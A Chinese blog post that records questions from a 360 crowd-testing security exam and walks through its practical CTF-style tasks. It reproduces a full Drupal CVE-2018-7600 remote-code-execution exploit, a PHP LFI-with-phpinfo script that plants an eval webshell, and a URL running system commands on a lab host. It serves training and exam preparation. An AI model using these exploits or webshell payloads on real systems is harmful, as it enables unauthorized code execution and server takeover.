记一次360众测考核

本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

小维

写在前面

以下题目均为本人当时考核时的题目,这里记录一下,答案可能有误仅供参考如有错误还需大家斧正。

客观题-单选题

1、密文“6e962e59c2805a6a1c521a13abded480”解密后的明文为:()
  • A、201806
  • B、2010622
  • C、20180623
  • D、20180706
2、查看本机端口信息命令是:()
  • A、netstat -an
  • B、net share
  • C、net use
  • D、用taskinfo来查看连接情况
3、msfvenom生成木马,哪个是必须的参数?:()
  • A、-p
  • B、-e
  • C、-o
  • D、-i
4、身份鉴别的安全要求中,需要采用双因素认证,以下不属于双因素认证的是?:()
  • A、登陆服务器需要通过堡垒机
  • B、魔兽世界登录时输入动态密保
  • C、网页登陆时需要输入图形验证码
  • D、保险柜需要钥匙和指纹都匹配才能解锁
5、MSF的模块存放位置是哪个文件夹?:()
  • A、app
  • B、data
  • C、lib
  • D、modules
6、以串联方式接入企业互联网出口的硬件防火墙,没有以下哪个功能:()
  • A、对网站前台上传的webshell进行拦截
  • B、发现企业内网中的SQL注入行为
  • C、阻止黑客对网站后台进行密码爆破
  • D、发现境外势力使用AWVS 对 OA 系统进行扫描
7、收集信息而不希望目标发现,应使用哪个工具?:()
  • A、nmap
  • B、p0f
  • C、xprobe2
  • D、tcptraceroute
8、攻击者提交请求 http://www.360.cn/displaynews.asp?id=772',网站反馈信息为Microsoft OLE DB Provider for ODBC Drivers错误‘80040e14’,能够说明该网站后端采用的数据库是哪个?:()
  • A、mysql
  • B、Access
  • C、Orade
  • D、mssql
9、以下哪个选项,nmap会检测操作系统类型?:()
  • A、-o
  • B、-v
  • C、-Sv
  • D、-Pn
10、对Linux服务器上 drwxr-xr-x 2 root root 4096 Jun 21 2018 ssl 以下选项正确的是:()
  • A、该文件夹权限为655
  • B、这个文件夹中有两个文件
  • C、其他用户不能进入该文件夹
  • D、root用户组的用户对这个文件夹有全部权限

客观题-多选题

1、以下哪些是WEB攻击方式:()
  • A、SQL注入
  • B、Cookie欺骗
  • C、CSRF
  • D、可执行脚本文件上传
2、下列不是Access创建的数据库文件后缀名有:()
  • A、.mdb
  • B、.MYD
  • C、.accdb
  • D、.sql
3、以下说法正确的有:()
  • A、病毒属于恶意代码
  • B、蠕虫不属于恶意代码
  • C、木马属于恶意代码
  • D、后门不属于恶意代码
4、御剑扫描器可以帮助我们发现以下哪些安全威胁:()
  • A、网站二级目录下的备份文件
  • B、网站编辑器fckeditor的目录
  • C、未及时安装补丁的Windows服务器
  • D、以前被黑客攻击留下的php木马
5、基于UDP协议的有:()
  • A、SNMP
  • B、Rlogin
  • C、POP3
  • D、DNS

判断题

1、Windows系统中,只要可登录的用户,都可以创建新用户,并包括用户的名称与密码、用户所属的组等信息。
  • 正确
  • 错误
2、chmod命令是Windows修改文件权限的命令。
  • 正确
  • 错误
3、Kali数字取证操作系统是一款收费系统。
  • 正确
  • 错误
4、Web应用程序中保存上传文件的目录应授予脚本执行权限。
  • 正确
  • 错误
5、SQL注入漏洞不会对业务系统的账号密码产生影响。
  • 正确
  • 错误

实战题

第一题

image-20200415204118642

修改方法为POST进行传输

image-20200415204229002

原题地址:https://www.jianshu.com/p/973b430a238c

第二题

image-20200415204316500

Struts2 直接用工具

image-20200415204423879

原题地址:https://www.jianshu.com/p/973b430a238c

第三题

image-20200415204841529

文件上传直接上传一句话木马进行菜刀连接

image-20200415205259798

原题地址:https://blog.csdn.net/qq_42357070/article/details/82383535

第四题

image-20200415205412032

当时没做出来…

image-20200417164319209

image-20200417164338990

Samba远程命令执行漏洞(CVE-2017-7494):https://www.jianshu.com/p/24c7494971a8

第五题

image-20200415205625769

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
POC:
#!/usr/bin/env python3

import requests
import argparse
from bs4 import BeautifulSoup

def get_args():
parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7600.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= '''
This script will exploit the (CVE-2018-7600) vulnerability in Drupal 7 <= 7.57
by poisoning the recover password form (user/password) and triggering it with
the upload file via ajax (/file/ajax).
''')
parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
parser.add_argument("-p", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
args = parser.parse_args()
return args

def pwn_target(target, function, command, proxy):
requests.packages.urllib3.disable_warnings()
proxies = {'http': proxy, 'https': proxy}
print('[*] Poisoning a form and including it in cache.')
get_params = {'q':'user/password', 'name[#post_render][]':function, 'name[#type]':'markup', 'name[#markup]': command}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'}
r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
soup = BeautifulSoup(r.text, "html.parser")
try:
form = soup.find('form', {'id': 'user-pass'})
form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
if form_build_id:
print('[*] Poisoned form ID: ' + form_build_id)
print('[*] Triggering exploit to execute: ' + command)
get_params = {'q':'file/ajax/name/#value/' + form_build_id}
post_params = {'form_build_id':form_build_id}
r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
parsed_result = r.text.split('[{"command":"settings"')[0]
print(parsed_result)
except:
print("ERROR: Something went wrong.")
raise

def main():
print ()
print ('=============================================================================')
print ('| DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |')
print ('| by pimps |')
print ('=============================================================================\n')

args = get_args() # get the cl args
pwn_target(args.target.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())


if __name__ == '__main__':
main()

image-20200415205746961

第六题

image-20200415205810082

image-20200415205827356

提示:php文件包含

发现 www.zip源码

下载发现lfi.php文件

php文件包含漏洞(利用phpinfo)

image-20200415210025732

GitHub:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
EXP:
#!/usr/bin/python
import sys
import threading
import socket

def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s2.connect((host, port))

s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =&gt; ")
fn = d[i+17:i+31]
except ValueError:
return None

s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()

if d.find(tag) != -1:
return fn

counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args

def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1

try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()

except socket.error:
return


def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)

d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt; ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")

print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256

def main():

print "LFI With PHPInfo()"
print "-=" * 30

if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)

try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)

port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)

poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)

print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()

maxattempts = 1000
e = threading.Event()
l = threading.Lock()

print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()

tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()

print "Shuttin' down..."
for t in tp:
t.join()

if __name__=="__main__":
main()
1
2
3
写入/tmp/g
再访问
http://39.98.39.234:41213/lfi.php?file=/tmp/g&1=system(%27cat ../../../key_8ujr4y7sg9.txt%27);

可以参考这个:

https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf

https://www.cnblogs.com/xiaoqiyue/p/10158702.html

第七题

当时没做出来…

第八题

image-20200415210240685

6379端口直接Redis未授权访问漏洞利用就可以了

Redis未授权访问漏洞利用:https://xz.aliyun.com/t/6103#toc-0

第九题

image-20200415210141901

image-20200415212727024

第十题

image-20200415210621743

image-20200415213042571

image-20200415211006676

写在后面

image-20200415213423379

-本文结束感谢您的阅读-